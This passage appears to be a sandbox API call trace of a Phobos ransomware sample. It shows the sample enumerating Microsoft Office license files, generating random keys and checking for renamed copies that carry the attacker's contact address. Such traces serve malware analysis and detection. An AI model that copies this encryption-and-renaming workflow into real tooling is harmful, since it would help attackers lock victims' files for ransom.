office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.037] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.038] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11579) returned 1 [0152.038] CloseHandle (hObject=0x564) returned 1 [0152.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220 [0152.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.039] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.040] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11143) returned 1 [0152.040] CloseHandle (hObject=0x564) returned 1 [0152.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220 [0152.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.041] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.042] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20901) returned 1 [0152.042] CloseHandle (hObject=0x564) returned 1 [0152.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220 [0152.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.042] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.043] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11591) returned 1 [0152.043] CloseHandle (hObject=0x564) returned 1 [0152.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220 [0152.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.043] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.044] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11614) returned 1 [0152.044] CloseHandle (hObject=0x564) returned 1 [0152.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0152.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.047] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.049] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6729) returned 1 [0152.050] CloseHandle (hObject=0x564) returned 1 [0152.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220 [0152.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.050] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.053] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19926) returned 1 [0152.053] CloseHandle (hObject=0x564) returned 1 [0152.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0152.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.054] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.056] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3219) returned 1 [0152.056] CloseHandle (hObject=0x564) returned 1 [0152.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220 [0152.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.058] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.059] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4392) returned 1 [0152.059] CloseHandle (hObject=0x564) returned 1 [0152.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220 [0152.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.061] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.061] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20841) returned 1 [0152.061] CloseHandle (hObject=0x564) returned 1 [0152.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220 [0152.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.064] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.066] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20846) returned 1 [0152.066] CloseHandle (hObject=0x564) returned 1 [0152.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220 [0152.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.067] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.067] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19927) returned 1 [0152.067] CloseHandle (hObject=0x564) returned 1 [0152.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0152.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.068] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.069] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10627) returned 1 [0152.069] CloseHandle (hObject=0x564) returned 1 [0152.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220 [0152.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.069] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.080] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11574) returned 1 [0152.080] CloseHandle (hObject=0x564) returned 1 [0152.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220 [0152.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.082] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.083] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11139) returned 1 [0152.083] CloseHandle (hObject=0x564) returned 1 [0152.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220 [0152.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.085] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.088] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6860) returned 1 [0152.088] CloseHandle (hObject=0x564) returned 1 [0152.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: 